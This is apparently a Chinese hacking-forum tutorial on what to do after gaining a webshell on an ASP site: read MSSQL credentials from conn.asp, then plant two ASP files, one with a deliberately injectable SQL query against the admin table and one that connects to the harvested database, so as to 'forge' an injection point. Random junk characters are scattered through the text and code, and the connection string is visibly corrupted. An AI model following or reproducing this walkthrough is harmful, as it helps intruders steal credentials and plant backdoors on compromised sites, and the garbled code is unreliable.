首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:1 C& [/ a+ e Z5 d1 U, x
ASP/Visual Basic代码
5 I) b/ _3 |- Z<!--#include file="xx.asp"--> + p; \% R- l! ]& x' O
<%
% ^ O5 M) R5 J7 `! B/ Wset rs=server.createobject("ADODB.recordset") 9 [& E% O, m. |) ^
id = request("id") 5 f; d% I( P' @5 m+ D
strSQL = "select * from admin where id=" & id ( x: O: Z- L; [1 U, D4 q+ M
rs.open strSQL,conn,1,3 % Y& D8 t% Z5 y9 n0 ~8 P
rs.close
: z1 A, `1 _( \: C& n" c! I%> - g# U* C7 h+ C+ v' I9 ?1 R
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!- A/ j) h& T+ D& `% s7 w+ K
然后就要构造一个连接数据库的文件了,代码如下:, k! F9 B, f5 i# f& d
ASP/Visual Basic代码8 z6 T/ Q- p' c: s! U( V
<%
' p, }9 m$ j* E. }strSQLServerName = "000.000.000.000" '服务器名称或地址
v* W( \$ @$ K* m# R8 s. vstrSQLDBUserName = "sqlname" '数据库帐号 / P/ w0 }# `! G- t5 z, h8 F
strSQLDBPassword = "sqlpass" '数据库密码 4 K# S1 n7 A1 A! {
strSQLDBName = "sqldataname" '数据库名称 + A+ n& L: i& v% R4 C- o. r& C; y4 |
Set conn = Server.CreateObject("ADODB.Connection")
( A; V5 z1 ^ n+ \+ ^: I b6 f. tstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
! u) L5 A$ K* L: e- |1 jconn.open strCon
2 r5 l; D* I: U* K%> + B2 U6 O# q; V& G) ~2 {# w
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
$ N- G! h9 b! K1 E! c1 s |